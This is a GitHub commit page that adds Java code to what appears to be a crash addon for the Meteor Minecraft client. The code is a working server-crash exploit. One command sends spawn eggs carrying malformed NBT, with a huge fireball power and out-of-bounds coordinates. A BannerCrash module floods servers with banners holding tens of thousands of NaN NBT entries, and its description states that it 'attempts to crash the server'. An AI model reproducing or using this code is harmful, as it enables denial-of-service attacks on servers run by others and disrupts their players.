-
-
Notifications
You must be signed in to change notification settings - Fork 29
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- BannerCrash - crashitemcommand - tweaks
- Loading branch information
1 parent
7f7faf6
commit 56d79a3
Showing
6 changed files
with
189 additions
and
22 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
53 changes: 53 additions & 0 deletions
53
src/main/java/widecat/meteorcrashaddon/commands/CrashItemCommand.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,53 @@ | ||
package widecat.meteorcrashaddon.commands; | ||
|
||
import com.mojang.brigadier.builder.LiteralArgumentBuilder; | ||
import meteordevelopment.meteorclient.systems.commands.Command; | ||
import net.minecraft.command.CommandSource; | ||
import net.minecraft.item.ItemStack; | ||
import net.minecraft.item.Items; | ||
import net.minecraft.nbt.NbtCompound; | ||
import net.minecraft.nbt.NbtDouble; | ||
import net.minecraft.nbt.NbtList; | ||
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket; | ||
|
||
import static com.mojang.brigadier.Command.SINGLE_SUCCESS; | ||
|
||
public class CrashItemCommand extends Command { | ||
|
||
public CrashItemCommand() { | ||
super("crashitem", "Gives you crash items."); | ||
} | ||
|
||
@Override | ||
public void build(LiteralArgumentBuilder<CommandSource> builder) { | ||
builder.then(literal("CrashFireball").executes(ctx -> { | ||
ItemStack CrashFireball = new ItemStack(Items.CAVE_SPIDER_SPAWN_EGG); | ||
NbtCompound tag1 = new NbtCompound(); | ||
NbtList power = new NbtList(); | ||
power.add(NbtDouble.of(1.0E43)); | ||
power.add(NbtDouble.of(0)); | ||
power.add(NbtDouble.of(0)); | ||
tag1.putString("id", "minecraft:small_fireball"); | ||
tag1.put("power", power); | ||
CrashFireball.setSubNbt("EntityTag", tag1); | ||
CreativeInventoryActionC2SPacket balls = new CreativeInventoryActionC2SPacket(36 + mc.player.getInventory().selectedSlot, CrashFireball); | ||
mc.getNetworkHandler().sendPacket(balls); | ||
return SINGLE_SUCCESS; | ||
})); | ||
|
||
builder.then(literal("OOBEgg").executes(ctx -> { | ||
ItemStack gato = new ItemStack(Items.CAT_SPAWN_EGG); | ||
NbtCompound tag2 = new NbtCompound(); | ||
NbtList pos = new NbtList(); | ||
pos.add(NbtDouble.of(2147483647)); | ||
pos.add(NbtDouble.of(2147483647)); | ||
pos.add(NbtDouble.of(2147483647)); | ||
tag2.put("Pos", pos); | ||
gato.setSubNbt("EntityTag", tag2); | ||
CreativeInventoryActionC2SPacket elgato = new CreativeInventoryActionC2SPacket(36 + mc.player.getInventory().selectedSlot, gato); | ||
mc.getNetworkHandler().sendPacket(elgato); | ||
return SINGLE_SUCCESS; | ||
})); | ||
|
||
} | ||
} |
90 changes: 90 additions & 0 deletions
90
src/main/java/widecat/meteorcrashaddon/modules/BannerCrash.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,90 @@ | ||
package widecat.meteorcrashaddon.modules; | ||
|
||
import meteordevelopment.meteorclient.events.game.GameLeftEvent; | ||
import meteordevelopment.meteorclient.events.world.TickEvent; | ||
import meteordevelopment.meteorclient.settings.*; | ||
import meteordevelopment.meteorclient.systems.modules.Module; | ||
import meteordevelopment.orbit.EventHandler; | ||
import net.minecraft.item.ItemStack; | ||
import net.minecraft.item.Items; | ||
import net.minecraft.nbt.NbtCompound; | ||
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket; | ||
import widecat.meteorcrashaddon.CrashAddon; | ||
|
||
public class BannerCrash extends Module { | ||
private final SettingGroup sgGeneral = settings.getDefaultGroup(); | ||
|
||
private final Setting<Integer> amount = sgGeneral.add(new IntSetting.Builder() | ||
.name("amount") | ||
.description("How many packets to send to the server per tick.") | ||
.defaultValue(100) | ||
.min(1) | ||
.sliderMin(1) | ||
.sliderMax(1000) | ||
.build() | ||
); | ||
|
||
private final Setting<Integer> size = sgGeneral.add(new IntSetting.Builder() | ||
.name("banner-size") | ||
.description("How big the banner should be.") | ||
.defaultValue(30000) | ||
.min(1) | ||
.sliderMin(1) | ||
.sliderMax(50000) | ||
.build() | ||
); | ||
|
||
private final Setting<SlotMode> slotMode = sgGeneral.add(new EnumSetting.Builder<SlotMode>() | ||
.name("creative-slot-mode") | ||
.description("Which slot mode to use.") | ||
.defaultValue(SlotMode.Hotbar) | ||
.build() | ||
); | ||
|
||
private final Setting<Integer> slots = sgGeneral.add(new IntSetting.Builder() | ||
.name("slots") | ||
.description("How many slots to use for the books.") | ||
.defaultValue(1) | ||
.min(1) | ||
.sliderMin(1) | ||
.sliderMax(36) | ||
.visible(() -> slotMode.get() == SlotMode.FullInv) | ||
.build() | ||
); | ||
|
||
private final Setting<Boolean> autoDisable = sgGeneral.add(new BoolSetting.Builder() | ||
.name("auto-disable") | ||
.description("Disables module on kick.") | ||
.defaultValue(true) | ||
.build() | ||
); | ||
|
||
public BannerCrash() { | ||
super(CrashAddon.CATEGORY , "banner-crash", "Attempts to crash the server by spamming banners with massive NBT."); | ||
} | ||
|
||
@EventHandler | ||
private void onTick(TickEvent.Post event) { | ||
for (int i = 0; i < amount.get(); i++) { | ||
ItemStack stack = new ItemStack(Items.BLACK_BANNER); | ||
NbtCompound tag = new NbtCompound(); | ||
for (int ii = 0; ii < size.get(); ii++) tag.putDouble(String.valueOf(ii), Double.NaN); | ||
stack.setNbt(tag); | ||
if (slotMode.get() == SlotMode.FullInv) { | ||
for (int ii = 9; ii < 9 + slots.get(); ii++) mc.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(ii, stack)); //mc.interactionManager.clickCreativeStack(stack, ii); | ||
} else if (slotMode.get() == SlotMode.Hotbar) { | ||
for (int ii = 36; ii < 36 + 9; ii++) mc.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(ii, stack)); // mc.interactionManager.clickCreativeStack(stack, ii); | ||
} | ||
} | ||
} | ||
|
||
@EventHandler | ||
private void onGameLeft(GameLeftEvent event) { | ||
if (autoDisable.get()) toggle(); | ||
} | ||
|
||
public enum SlotMode { | ||
Hotbar, | ||
FullInv | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters